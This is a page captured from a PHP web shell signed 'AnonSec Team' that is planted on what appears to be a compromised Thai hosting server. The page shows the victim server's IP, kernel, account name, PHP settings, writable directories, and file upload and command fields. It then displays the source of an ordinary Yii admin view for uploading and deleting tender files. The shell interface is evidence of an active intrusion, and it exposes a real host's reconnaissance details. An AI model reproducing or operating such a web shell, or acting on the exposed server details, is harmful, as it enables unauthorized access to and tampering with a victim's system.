NG1NDEX
Server IP : 103.233.192.212  /  Your IP : 18.116.67.226
Web Server : Apache/2
System : Linux sv1.inde.co.th 3.10.0-1160.36.2.el7.x86_64 #1 SMP Wed Jul 21 11:57:15 UTC 2021 x86_64
User : sumpatuan ( 1058)
PHP Version : 5.5.38
Disable Function : symlink,shell_exec,exec,proc_close,proc_open,popen,system,dl,putenv,passthru,escapeshellarg,escapeshellcmd,pcntl_exec,proc_get_status,proc_nice,proc_terminate,pclose,ini_alter,virtual,openlog,ini_restore
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/sumpatuan/public_html/backup/protected/views/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/sumpatuan/public_html/backup/protected/views/admin/plantenderMainFile.php
<script type="text/javascript">
$(function(){
    $('.btn-delete').click(function() {
        if(confirm('ต้องการลบข้อมูลไฟล์นี้') != false) {
            var parent = $(this).attr('rel');
            $.ajax({
                type: 'get',
                url: '<?php echo Yii::app()->controller->createUrl('PlantenderDeleteFile'); ?>',
                data: 'delete=' + parent,
                success: function() {
                    $('#tr_'+parent).fadeOut(300, function() {
                        $(this).remove();
                    })
                } // end success
            });
        }
    })

    $('.import-file').click(function() {
        $('.progressBar').css({'display':'block'});
    })
})
</script>

<div class="row-fluid formview-header-bar">
    <div class="span12">
        <ul class="breadcrumb">
            <li><a href="<?php echo Yii::app()->controller->createUrl('MainBackend'); ?>">หน้าหลัก</a> <span class="divider">/</span></li>
            <li class="active">จัดการข้อมูลไฟล์</li>
        </ul>
    </div>
</div>

<div class="row-fluid">
    <div class="span12">

        <div class="progressBar" style="display: none;">
            <?php
            $this->widget('bootstrap.widgets.TbProgress', array(
                'type' => 'success',
                'percent' => 100,
                'striped' => true,
                'animated' => true,
            ));
            ?>
        </div>

        <fieldset>
            <legend>
                <a class="btn backMainManageFile" href="<?php echo Yii::app()->controller->createUrl('PlantenderEdit', array('id' => $primaryID)); ?>">
                    <i class="icon-chevron-left"></i>&nbsp;ย้อนกลับ
                </a>
                <span>ส่วนจัดการ เพิ่มข้อมูลไฟล์</span>
            </legend>

            <?php
            $this->beginWidget('CActiveForm', array(
                'action' => Yii::app()->controller->createUrl('PlantenderAddFile', array('id' => $primaryID)),
                'htmlOptions' => array('enctype' => 'multipart/form-data'),
            ));
            ?>
            <table class="tableForm">
                <tr>
                    <td width="67"></td>
                    <td>
                        <span class="detailTextMultiFile">สามารถทำการ Upload ไฟล์ได้ จำนวนหลายไฟล์</span>
                    </td>
                </tr>
                <tr>
                    <td class="tableFormRight"><label>ข้อมูลไฟล์</label></td>
                    <td>
                        <?php
                        $this->widget('CMultiFileUpload', array(
                            'model' => tbPlantenderFile::model(), // model ที่ติดต่อกับ table ภายใน database
                            'attribute' => 'path_file', // ชื่อ fields ที่ต้องการ
                            'accept' => 'pdf|doc|docx|xls|xlsx', // extensions ที่สามารถ upload ได้
                            'denied' => 'ต้องเป็นนามสกุล .pdf .doc .docx .xls .xlsx เท่านั้น!', // คำที่ใช้เมื่อ extensions ของไฟล์ ไม่ถูกต้อง
                            // 'max' => 4, // สามารถอัพไฟล์ได้เท่าไ                            
                            'remove' => '[ลบออก]', // คำที่ใช่ในการลบ
                            'duplicate' => 'ไฟล์ห้ามซ้ำ', // คำที่ใช้เมื่อไฟล์ซ้ำ
                        ));
                        ?>
                    </td>
                </tr>
                <tr>
                    <td></td>
                    <td>
                        <?php echo CHtml::submitButton('ตกลง', array('class' => 'btn btn-primary import-file')); ?>
                    </td>
                </tr>
            </table>
            <?php $this->endWidget(); ?>
            <hr />
        </fieldset>

        <!-- ไฟล์ทั้งหมด -->
        <div class="row-fluid">
            <div class="span12">

                <?php if (sizeof($model) == 0) { ?>
                    <span class="fileNone"><h4>ไม่มีข้อมูลไฟล์!</h4></span>
                <?php } else { ?>
                    <table class="table table-bordered">
                        <tr>
                            <td width="100" style="text-align: center;"><h4>#</h4></td>
                            <td><h4>ข้อมูลไฟล์</h4></td>
                        </tr>
                        <?php foreach ($model as $valueFile) { ?>
                            <tr id="tr_<?php echo $valueFile->id; ?>">
                                <td width="100" style="text-align: center;">
                                    <a class="btn-delete" href="#" rel="<?php echo $valueFile->id; ?>">
                                        <span>ลบไฟล์</span></a>
                                </td>
                                <td>
                                    <a href="<?php echo Yii::app()->baseUrl . OtherFunction::pathFile('plantender') . $valueFile->path_file; ?>" target="_blank">
                                        <?php echo $valueFile->file_name; ?>
                                    </a>
                                </td>
                            </tr>
                        <?php } ?>
                    </table>
                <?php } // end if sizeof   ?>

            </div>
        </div>
        <!-- End ไฟล์ทั้งหมด -->

    </div>
</div>

Anon7 - 2022
AnonSec Team